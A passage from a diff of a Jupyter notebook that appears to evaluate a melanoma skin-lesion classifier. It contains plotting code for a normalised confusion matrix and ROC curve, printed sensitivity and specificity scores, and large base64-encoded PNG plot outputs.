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",
+ "text/plain": [
+ ""
+ ]
+ },
+ "metadata": {
+ "needs_background": "light"
+ },
+ "output_type": "display_data"
+ },
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Melanoma Sensitivity: 0.7606837606837606\n",
+ "Melanoma Specificity: 0.5610766045548654\n"
+ ]
+ }
+ ],
+ "source": [
+ "import seaborn as sns\n",
+ "from sklearn.metrics import roc_curve, auc, confusion_matrix\n",
+ "\n",
+ "def plot_confusion_matrix(y_test, y_pred):\n",
+ " cmn = confusion_matrix(y_test, y_pred)\n",
+ " # Normalise\n",
+ " cmn = cmn.astype('float') / cmn.sum(axis=1)[:, np.newaxis]\n",
+ " # print it\n",
+ " print(cmn)\n",
+ " fig, ax = plt.subplots(figsize=(10,10))\n",
+ " sns.heatmap(cmn, annot=True, fmt='.2f', \n",
+ " xticklabels=[f\"pred_{c}\" for c in class_names], \n",
+ " yticklabels=[f\"true_{c}\" for c in class_names],\n",
+ " cmap=\"Blues\"\n",
+ " )\n",
+ " plt.ylabel('Actual')\n",
+ " plt.xlabel('Predicted')\n",
+ " # plot the resulting confusion matrix\n",
+ " plt.show()\n",
+ "\n",
+ "\n",
+ "def plot_roc_auc(y_true, y_pred):\n",
+ " \"\"\"\n",
+ " This function plots the ROC curves and provides the scores.\n",
+ " \"\"\"\n",
+ " # prepare for figure\n",
+ " plt.figure()\n",
+ " fpr, tpr, _ = roc_curve(y_true, y_pred)\n",
+ " # obtain ROC AUC\n",
+ " roc_auc = auc(fpr, tpr)\n",
+ " # print score\n",
+ " print(f\"ROC AUC: {roc_auc:.3f}\")\n",
+ " # plot ROC curve\n",
+ " plt.plot(fpr, tpr, color=\"blue\", lw=2,\n",
+ " label='ROC curve (area = {f:.2f})'.format(d=1, f=roc_auc))\n",
+ " plt.xlim([0.0, 1.0])\n",
+ " plt.ylim([0.0, 1.05])\n",
+ " plt.xlabel('False Positive Rate')\n",
+ " plt.ylabel('True Positive Rate')\n",
+ " plt.title('ROC curves')\n",
+ " plt.legend(loc=\"lower right\")\n",
+ " plt.show()\n",
+ "\n",
+ "plot_confusion_matrix(y_test, y_pred)\n",
+ "plot_roc_auc(y_test, y_pred)\n",
+ "sensitivity = sensitivity_score(y_test, y_pred)\n",
+ "specificity = specificity_score(y_test, y_pred)\n",
+ "\n",
+ "print(\"Melanoma Sensitivity:\", sensitivity)\n",
+ "print(\"Melanoma Specificity:\", specificity)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 16,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 585
+ },
+ "id": "dlpOzfdSo69B",
+ "outputId": "b358ecb6-dae9-48a5-9526-97840363c209"
+ },
+ "outputs": [
+ {
+ "data": {
+ "image/png": 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AlwPXAB3wrRvbfhN4dt32J8DPnrbvPwK+B7gCeC/wfQCo/s91+yejegTV/3DOWqr+u3rsf1XLf8HG1pdg13zivCpnkU/BHrhXAlcBPwb8KiJ93f46RF53ln0XwJdi/bHL9wMfj7XfzcANwHdvbL8OOF7XfxXwo4hccYZjfw7wzcAL63FuOUMNztyW+4QIp7fHRbeFCI9pCxEOXVscdlpf7tHetZfHu/YB4MXACUQ+ARDguTzSl6/A7skvA/58Y93XAU/H2vJf1/Xv47H3ZOvLy3ncVNVz/8HtCi9UeJXCaxU+R+EtCkFBFW46y34/ovDDdfmmWjbU329VeEVd/l2FV27s98IzlH3VxvavV/h/z3LOE3Xf4/X3rQpv2Nj+YoX3bPxWhZvP2waPlL9V4TVnaJ+vPG3do4+7uR/8W4XvPa383yh85jna/5TCQwqTwt0Kz6vbRGFH4Vkb5f++wm11+RaF1V5b2roPK3z6Ger1kwqv3Sh386Ou43xteYn+QG8HPQX6EOgEejfo80AFdAf0WRtl/z7obXX5FtAVaNjY/mHQT6/Lt4K+pi7/JOhrN8rdbE2hN2+UfcPG9heDXvK2OOx/rS9P+2vv2s3jH+53rR3rIwqvr335FoX3b/Tl6zaO88i71vry3Qpv2OjLz1d4T+vLj51x82Jsu28C3gZ8HKer1gFEXoBJoX8Hk8574Bcu4LjXw6Ocfc/knPehjeUlcKSe02PS5xcDTwFKLXM18PA5931iuRiHwmcAL0XkGzbWdVg7nI0vQvV36vV+IfD7iHwidr0L4I8R2S0rgN/Y9wEePRs5WxtcD/zRxu8L74dLzxep8jsiPNIeNvNZAH/8SFM8ti1Uudza4rDT+vKxtHft2TlM79oB68fX1v3/fGPb3XYEeQHwA3Xdu4AIfJBHt+WKx7Zl68vLeNy88HQZqh/AnBlfDPzSGUr8HPCrwI2oHgdej13s+bgHs8fvcuMF18lUtV+IqRGPAzfV9Rdy3seDXuD6JY928rxuY/lO4PtQPbHxt0D1589/ds2o/hIWafIZwP3YQ/vcjWMdxxweL5aPph/2BVWyKrvt8enUtlDlRP07rvq4XiiHri0OO60vN2jvWrh83rUfxvryBuA9G+ufWv//OeAP6/KnYH15IbS+vIzHzYvNY/ZVwGejunOGbUeBB1FdI/JpWOdfCG8GvhGRGxA5AXzHRdTnKDYreQDr0H95EfuCRWo881FrzHHvlgsuf2b+FPiy6qD5OcBnbmz7ceBrEXkBIoLIFubMe/S8R7XyX4jZqv8a1VKP98OIXFPL3IDIiy6gjqfzZuDl1bdlAQc/D5QIIsJue7yb2hYiXFO33yDC424LET6h+j4d+LY47LS+fAztXXv5vGu/CvgtLG3DLl9cfc+ObtT5k2h9edD78nSelHHz4gQz1feh+kdn2fr1wL9AZBtzonvzBR71x4HfxtS87wJ+A0iYdHs+3gh8AFP9/hWPdu67EF4N/DQW5fEliNwIbAN/cZbyPwF8Yi3/K+c47jcCXwA8hEWkPFLW2u+rgf8H+AjmDPiyve0WHXL6rOnXEDkFnMRU0C9F9d1123fUY7wDkZPA7wDPOfdlnwHV3wT+DfB7e8czhos+1pPPr4nwqPZQ5d1stIUIj7stVDlMbXHYaX15Jtq79vJ516q+DxOCNvkp7J4MwCfUdV9P68uD3Zen8ySNm+dPMHupEflc4PWoPmMfzv3lmHrzOy/5uQ8aNpv7S6DnICU33AdE2GuL0/yaGoeM1pcbtHftweCJeNe2vjwYPEHj5v4LZpY75LMw6f9a4D8C70D1m/a1Xh+LiPxv2MxrAfw0UFC9kDD8yw4RHtMWqmcMSW8ccFpfVtq79uDw0b5rW18eHJ6EcfMgfMRcsBwfH8FUsn/No/OJNC4dr8ScVd+HqcS/bn+rs6+0trh8aH1ptHftweGjvSdbXx4cnvD3y/5rzBqNRqPRaDQawMHQmDUajUaj0Wg0aIJZo9FoNBqNxoHhyfqq+5PGW173Y3q0XyClIFqQnMjDmugcznuGYUkfAi52qAhTGgHogmO53uaa629ieeokOQmzksmh4+jiKNNwitVqGx8c3kW8D/RdT4gd3gWmUhjHh5GSCaoUF1ERpEyknPHO4YOACtvLU5w4cQ1ehJ3lkikn+sUVZDHHgFwSlAl1geIi65wQ8WSFUkZUM6viGArc+8BDxOC58sQJRKCUQlbhRV/5vz9ZyQAvGU+99jp9yT/4H7jhyuO4aU0XHFvHjtJvbeG7GT54nCikER2XhNkM1/U4AXEeL+Bih/gOSgIJFKCog5zR8RQSIhIX6LRCs6JpoKSEP3IlmgZAcf0CLRlNA4JANwcRNE/oNIJ4xAfKuLRE0aqID1AUfIeEztb7gHQLdFpDGVEfEdehziO+J6eJvD5FcZEsjqk4Hj418jXf8E8OfV/+7i/+hHZbV+C7nuX2wyzmHU4c4gJoqqmEHE4EcR7nHC7OoUw4MuI7BEVUQRMuzBAtqIC4COKgKEKxvikJcR3iPOQJUFuv2foGhz0wGXxEdEIl2n51PioOFEWLgguoKpRMyROooggqAS27wVUFLZlSCjqtEOfoFsdI4RjX3vh0Tj74IM/8+I8/9H0J8M7v+Q4tqlzRRYb1CskTqoXgwNe29imT0ogPgVm/IJeCiOBDYCoJHwKiAmlk0Xf4bs5ytSKVQhRHKQVyAlV87NBSWC5PISXhnAcppJRwIRKCBzzrYY1zDsHugVwy0QemosR+ZhlLRVAfUJTgIzH0oBnnPeIc62FJEaHrOsY0omGG84E8LikIY8mkacVYlE//3h879P351h/5NxpdJDhIacX26hQiwnXHr8ZJj5bMgyc/zO//xR/zwk99PgHoiYR4hG5+pLbHSCoJL4KfVsziEXs20oD6wmK2RSkjEjzBeyx3bCatT6HiWE0DJQSWdPztfQ/wp3d8iOc9/Uaef91VXH3kBH0f8VIIwRHEM2VHzomQV6Q0ELsjFBcZJOJdRFxmGFeUtCb6AL5nPe0Q8hqRjpRh6rZYTomdlBnSyP/08pcfmr48dILZ8dkWThxoQbM94HQznCplWtGJEoK3F7oPBC1oSayGNU56lg+dZFLF+0Amk/LEar2NpoEgBS0F8R7nIDglSGHMAzlnnCreewIwjCNFgGQ5A53vIGeyZnupl8Sg4L0j4RGnRO9BAkEDU3YIjlEVQQniUM0khVnooCg5C2ihCx2zEHDiUBFOjeO+9sETxbNufCrXXn0lUTLedzBMaC6gBdIA0kGMaB4tf6H3+NjhQlfLrGpbZxOGfG/CMo6UMiRB0ohD6ihs7eb6HshonkCEkkcoyQbg0JkggYOS0TQi/VEbuNMIKDhv+wIumGCGVF/NMoH3IB3iHHiPiEPLBM5B7BHxOAWvmcXs0D2CZ8TFOc5H0jAQgsM5uy7BhB6RgHOCkHEOxDlEnAlpEqydiglEoqUK2tjArhkRAedMcANArX1FanZaW2tCnAdKvW+83Stgx1WAbPspiDjrF1Uo9fkHE858X/ctuwdHnOAoZAQthTSs8GGLabWmX2wmLT/c9FIIzqFa6EOkOEfOAyWNBO9ZdDNchOWy8PCph3EuEJwnpREnoJpwxSHdgu1hoAwDsdh3AD1QckKngVM722xtHSM6QXEEcRQXmNKEd47gAjknxjQRJbCIkSRCdAHverJmFIeME94JLnhwgawwTAPFeZbDGs0DXQw2eRLIaSJ5oSjouALvKOOarEoRu886d3kYlNK0RgUSEyWtmabM8b5DxFM0M05LEHChR3D4EIhhgWbHmEZwQh8Cmjwf2XmABx96gE+96Wqij5w8eQotI8ULWRx5nKCbIaI4CoKQUyKVQpomwuI4Ls54yhUnGFGmPJDyGpkyR2Yz3JXXMt33ITQnJGdSmXDUiZYqfehQgVIm8rQmOoWSSKp03oFsMax28KHDi9C5SJKMC3G/u+GiOHSjQvSBYbWNozAkZRY8sYuUouQ0USjMuxkSIstxoKiCQBd7E56cJ4qQSmHUQu9gSgmvhVRGZsEjFDQPrJdr4vwISYVcEoIy5cLCmaYshEimoKqkcURlYkojIh0BBfEkyYgTvBO8D5T67RnVQtFCwaNqn21GC6UkhmlCxOMJZE1sLRY451DF/i+XR/qlT33OM5nPemZdtEFguQMZnASkTIjroIz4boZzW4TFEaSMiPNILuBjHbQ7VDyaRxQH3QIJAS2KpqVpvVxEEaSboSWheUIc4DwSZmhaVW0NkEYIM6D2S1pDCVWLUpCUUQQXTVOn4w7SL0zjg2mENHRomhBscCu1Di70lDwhmnGozfYuA0K/QHxgWu0wn0cTbl0wwUcTzpugKmqCjwiITiZwVeHVtGsD4qNp2HxAFcT7KmBlQEwgw7Rb4gUV06KJ62y960xAdgUtVdBzwQQxJ2jJJnjv1U8t5dCucCfeFve+o+dAMyWtaj1M4CxpTRGIeeDU9kmufdrT96Hlnxw6H/ACOY0UFYIPeAdZre3ExFeCDwQf2VmeZN5tMZ/NSCWbQI6CFmK/QEgM44gTh3PWvjvrJSEEQuxwKOKFGAMezyBCKpkpJygJ8Z5Vnux5947sCp0P4ARFcSGQSiZKQEVIaWSrn+FjzzBlPrLeRqWw1XWgwmwWmUrGe08aB8ZpIKeRTIHQkUshn/VLQoeLrJlx/RAPr9YsYuTIrKMUZTUMrKeB9eokST33n1ySxdHFGZoFfI/3HueEoorDBKy/uOMunnPjs5mLkPJESiuid4TZAgqMU0ICzFBSgWlKlvnWO8o0oApdP8eHQFKhqE3Gx2GH6e47iCWRpwGcJ4ln7gM6DTjfI7KihIggBArBBSYc3nd41CZUBXCC5AHNhc4Jzh+uSdOhGxUihVQmcp5sNl0inTozD3UzkI6xKH4a8UCoL3fFtBc4T9ZCziNzp3Te89AwsBU8wQmlFFLORKATwWXFe0cRQQuIKhMQuo6SElrMvEFwZBVygegFLUq/WKDjiEsTU8lISRQEG5qUpIUhK4UCaUJVmXLm1LTm2PwoaObK4ydY9Auid2RRUk5s9f7cjXRIuOGqE4Tg8fUhEjJlslm1dKYVExH8bGEmSxTng5m5fB2oS7Z+1c5MnlWwchKg7yllieYBckLmx+2BLd4EKrRqSwoSejuvC+Cjace0mCIsjWgACRHSYKZL5xHvUc0wZRPGfACxY0nVrOE8mhKUAkwmlGjGOY+CafMuA3ycUUrBOcyEWb+xRJ1wUEYb0KvAJS4irpo1wQZc5xCZWXm150p8sN/O7wlRAoiP1vaaq5Bgz5RpwpL1pWLPZtWAKAp4RMd6H2SoM25TeDqo2k0XZ5SSqqBdBcRSTaB7kmVAc2Zab+PDgmk407emDyfDuKaP1sbeBUJ9bmLsIBUKQsTRxY4YI1IKp3ZO4mOgoOSS8CZi4VXxzjEVxTnrP+ccvgp1qRSm5RpVSGnkyNZR5vEoOZsgvr08CV7poLp7KC52JlSVRMqJ4Ez7OuWEM7GZ1bgiAN4Fjs5t4pTSRBc7cI5U7xERwTvPpMowrOlnQq7nuBw4vjjOw+UU487I1X3PzrhmTIl58XgyU8aE4uBRmeHcHMkT3kcK4H0kDys0D/TRsb1eccd99/Cc658J4liPI91sizyuCRSKDqRRcbMtCoFcJhITSe1ZjD5wbBHpO08RYUwTs9ibAqVkigpZFVcyXb9AcAzLB/EhExZHmBQ6B1kiwUXAEZ3HlYkyW7DVLVgPpxjWp5CwMHcnDpeV6dAJZlISXjPD+iRFQPwVuJxw3pPFEYKpZ4sowXt6HxhyYkoTpWSyFEBxWshZmVDII2PO5JIRoBeP8w4fF+Agp/Xe7Nl7hxehlImEIL5HdAAE53tKLvSLY0iMTHkilQLeo5iWTpzHRDHTr6AJm4MqqShBhAFnWrPQ8fBDD7DV9xQNdMGR08QwHeyvyVwos74jkPE+4iWQk+KjaZKcC4gmnIv2vz+CE8GFaJqU9QoRMxkjDlWlpNE0IyWjThEx9XURB67OysVDXqM5VROYp4wDbn4U6UxgM0xA1KKgihOhTKO9rDNI7GxwF2dCdU4mWFRtjpZkdcH84ST2lDRAnhAfAfOhkcvkowriPGm9JAZl0r4AACAASURBVPpd84/Uf1TNZgEVxJtmzMyQmHZai2lC/VFbr8X8xsRM0CKmncF5E3DF7Qlkqlr70TSaINaHOVGKaSmBvfsEyXX/8ogZ1AfbLxfECQVnGlW0alp3tXzOtLBaqgk0UvKEK6b9e+j+B7jqKU/Zj+Z/wtE0oc4GTScTEhVNE7MQ8V3AO48gOBHmITKNZioM1RrhnGea1pQ8oT5QfACBGIL5BSL0XY9ToGT7BIMI0XcM64HZvGN+9DilFHw3Y2d1ClET8rJTRDO5mAtI7BamlRUTvqc00IXAMI2kaYSQ6YInp0TX9eb9VErVlBaqpIir7/hSTJBM+fJ4NrPzPLRcIQ7+9p4P0kfP0666ht4JXdyixBldNF/reehxqkiIBB8Z84ioUsjkMjEPkUXX86f/7b0885obUVW6+RaKIw8Tw7RDmdYQZ3gEdYHcBVandkBgyorTQO87gneEMLOxUJWsj0zSvEg1ZVv3FPXEfgsJ9h5PCD7MwHdkCYxpacpysf1LHkETnYMhZ7NgHSIOnRF9Z7XNNK4p08Q0DozjmqlqrjoHiYJEcxaetJBQnPem7hYbYHdn4Ek8Kp4gginXHSlNDNPIhFCcYyp2Q2ZxOB9R8ZSSTYPmPa7r8f0R1HWEEFFxFGA9rpimNVmqLwymsi15tBdIKeQ8UXIynzmUooVUlCimjS0lkcY1KWfGnFmu16SSd11mDj2ujPbw9XPC/Aihm+O6mQmvmlEt+K7Hz47hupn5KJUJpiVUE7LmEU2jCVASwXc24OYJzaMN5lT/pNADpkVRLeZTpIrreszsApqTaVmqiRkXEN+ZIIf9xj3iZC7O4foFiNYAg2nv3FoyWkxoI41Qpho8kMEHM+lcHgozM8PnCe+AbNeqlOonZgKxiz1uV0iznapPWdUoVqFYqibTBvAqbKkNpCZLuT3fsSr6oVXDhma0FEqZ0GldNXf1dKKIKFDMFy2YRkTEm4AWognboUNiXwVIb89nDUKQ3fuk6J4fnZZCGZasd7YvVWs/6SiZnBKaC5rNyf/kemAYLWCm63ri/CghzpjFGapKdI6SJnKa6Jwj9jNyTqRxxTCNgDAVC6pwzuMEfPA2RRVHHzoWR0/Qz7bo+gW5ZJx3OOeYzY5QihC8o+86yjSQ12s0Jbx3ZBG7z1CmaWQYBzObazLBIk8Eh/ns+kDn7bzDsKLkTNaCD4HFbAYUm9yVy+NFm1PmAw9+iKNHjnPTU59GCDPec8edPHDypHmBuchOKaRS2Flb/xURdsYd8zHTiS4EuhDJOXHDNdfy8DQxrrfBOWKcU6aJdUqMRZlKYT2sWK6XrMZTDOMKsqIuIBJxmpgFoXce7zv62Jsv4fIhKMkC3IqyHtY21mqhW/RoGZEyINnq6Eqmj4EYe8YxIX6OimlspzzhujmEHt/PCXIhnxA9OBw6jZkWZcwZXERygqKoRLNVl5H1eiT0PYiYFk2FztcZlnR4LaiCdw6nBZ2WTNOKpIqKI0s1ZzhPLpkQZ7jq70AQZBpIORNijzgB1yHOHLkTpZpnqpFKHA6zsQcRcIq6SM7KgDKVRN9FBiwQwKW1CSMhkgtM6xXiA94LOY12PbkwpfV+d8MTQgyR2M/xzsE0ImWNjhN5lYiLq3HBNDHohA4nKWmNnx2zQTiPlHGwwTmGKjD5KqQl81NyHolzRNZIcJAHyrC0Y5bRoiWrg7NU9zKVqnFRqpbUZlpmUrOXmLKrMXNQCnk4Zf5pVStggh1VOAHEU8pkwksakDhDNIMW3CGbyZ2NPA142VVCVYFVvC2LWpQdYhGuVNNmFXi0VOfc3UmTiGm/fEBKqn5FZrrWXE0SzlsZV8uS7aWeMy7McNJZPzlv5ukymvbNm19ZNYhWPzgLMLCgAbVoW/EQzK9Ty2gCmQgqdj+KMx9GEU/JI3mdCUe39q39n2jEeVxwLEJPyqbV72dbjDkRhhHvB7rQszOOCNDNtvbMgs5BSpnQeZwPTNMaKYXOmS/wOIymWUuJiczMm4nU+47gO1LKpFJQndDiUBfwxXx0V8OSbtZVq4NnopCnwe6PrDgHfdczFbVghZxYrpd45+lCpCTzDRZxpFLw1Uet7E7IxOFFSWq+x5cDdz14P+IXRA+dBJ55zXWMV17DB++7l7/94B0864anIc6ztYicShMnFHQaiH6G88KY1/RhQXKB6DuuO3El7/yrd3P/esmV8yMm2J06SdEJNDGOI0UKp06uCV3ExxkJzzxu4RHcNOI0M489MfS4EFhNpwhi0fTioj3LCusJjnQ2CRvHk6j2THgG6Tg2XzBME/dsP8SxfmaBXCWTFULsUd9ZUNK4wl/Qt90PDodOY0ZOkCeCC/Rhbp2XJ4a8poxLOjUhKFZHewGyCsFHvBPzVXEBLZmcMw+vVqRciC4iWiyyI6dq1jQfNFcmxnGN5lyd9yHj8H6GCx6J0dJzYP4MIITY40OsY43dLLvD/PZoZlUtmTFl0jgyTWu0TOThlGnKSmY5rtnqoml1dgUIoPOXh4/Z7NgV1kZpxFEIfUfoIiVbGL0N7MC4hPVJdFpTxpUNnDjrj2mijINpp8RTphFNu4JRrs79vZWfhqotDWbOwlJiUCbKuI1OO1WbI6blUvNlQoFpQrI5iWstA2LmSS1Iv8DPjwO+atmqxqWY2cvV4wiK5GzmWRFbfxmQppHoTQO2q6LSXcGUKtDUdBZQHfJ3hdJqzhVxWEqKVAMBzHlcvEVaio91uZomMS2biAUESIi4MIPQI3GGi331A0zVJ7AK8KGzNCq7lddS61PvDapmDjY0bs4CCnYFx91oUz8zjRliwvblghZSNp/Y6D0iwtGrrmbWL4jOU8aRnZ2TfOTkgzyw3CHGnhAjwXtm3QwfO0SVCCx8ZCZCKBbsErw3f8RoTujrUv0BFaY62crDijyN5JJZDzukyXze+n6BEohhxnxxBO8t8CfGOTHOWK3XkBJCIeeCTQeUSQtjSqyHlfmuqZLSQNKCE6HzHu89877jyHzO1tYWW32/373whDDrFxw9dkV1G0ikacWi63nmNVdz1dEj/M1dt1OyaZxOrpZkgWHYsfQVnSf4SEYppRBnR5h1jvseuI/7lhYsgELX91AgpYmUE9vDige3H2ZntebhnZMkLUx54uS4ssc6j1af6j4UnCeICdc5j0DBhcDdJx9gPS5ZD2vGPFDIOOfonZBxpJT4wIduJ0oBMsKEEyXEjr4zv8IYI308XGPmodOYIRZC7VwkFaU4XyOjJstrJQFfZ8ROIU0TSEGl4F1AQmQY1zUqTuj7LZwkixQJ3syL1UdFQ8+wPMl6XDLliXVJFsnjAosQ8V1vUUPO4xVyHun6zgIOUHIxvzHBHP9zNZiimZxNOxZDR55GpmkCrX412UwIy/WKo0eO4Zyj1OgkhTqIHH5818O4AyTwHt/1SBHKZNFXzlcN2Lg0E6c4ynobJCD9FhrmIObEr+sd6BboNJrpOE+olxodJuYHlobqj+TQYKpxXZ8CH9BccN0CCebXlJfbNnuLvQ3qoQdXzCRZ82OpZhvA+wXSLSjT2nyTxCOzLRBXc2JVv6gajSahr7XSy8T1H0oacXMz9Uk1O+5qtVTAyW7MqqWqEBfI2dJgBN9VoaxG8omY9nEjNcbestRoyupPZmnlErvh9FQNmAho7C1ys/oQIW4vWlDFY2GGkwmLNWoX2BPOyLmm3HCoODRhZatPo+4Kli5Q8kQeV5esvZ90ipLyhBQlaSZ2PcMDH8ZVv6xcMmRlHi04I08DItB1c0QglYkyjpRiAS5eFe/N/0yxgRgRCLpnYvYOs4QUbHImNomOMeA0U1Km73rUOdZ5ifiORRdZJnP3IJm/X1BH8BEXlWFa48XhQyQ4YRZmpp1zgVzM91gpexHvsWpUcxqJhyzFwtnI4pjPt0ASO6uTHO+PIiizEDgx6/H+Ct5/9weROGOVoUiPBMwCoUIMHWOecN6TkvlMlwLL9dpyc+aED1sUv2ZMsL3e4aH1NiHMYBjIomQJDAij68kqzINDxiWjS6xyoK8uCi54yrSD84E4O8qJ7gjvv/durj96xIIEfDTTKWLPXEn03dwiO7E8h50TslStqHqCF06tDpdf9qETzKL30C9IRZh5h/OO6IVcCs53LPo58/kWkxYeWg+UYgOB9zaDS9OIy4k8JYoIrpszc3UGXrUu0WUzNw5r0MIwZVJJrMuKWTcjF1imjGPCe1dD8pWxCIv+hMkBZWLKmZQzaZrI4ylcmBFnW5Q0oCXR9ZYGIzqhuAIaiV1nfmRY3hfxgTytiM5z1bVP5b5772a8TJz/mdZm1tKCZEva6jyQHZoyZVzhpOD6ueUuy4m0Omn+Sr1FWKpkNK1s5jVYXjMzF3YIDiZLv1DYdfZ21e+sIHjwsKv90JyqObKmagBcN7NB3Ue7P6ax+jGlmq5hNzGp5cAiTZQyWJBC6C1/mSoSejPn+bgXNKClmAntMsB7qdotS0ljk4sMTNUMXFNUoDjXmUAmU/W7lj0NJrAn+IpUMaqkPc2iOBOiTcii+hGacKAIUkYIHVqFMLUQThP8fDWnlgQ13Ybuasmq6Vp3z19lxF0Hca3O/iIRzRlxj2hWBdnLoXe5kHLGi+UIHLMSGZj3C1zJjGnC4+gJFAfDmEguMK7XKJ4uBstVVgpkZV0yMYaqOfbkcbB7wVkje+fJpRAEQoikpHgUCX4vqamoIrEzzU1K+BAZpwHvO7rYs7Paschb3zF6Z1G2PjKNa7aiJ856pppzsmhh